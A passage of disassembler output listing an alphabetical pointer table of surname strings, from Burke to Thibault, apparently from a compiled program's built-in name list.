aBurke ; "Burke" dd offset aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" dd offset aCastelda ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; 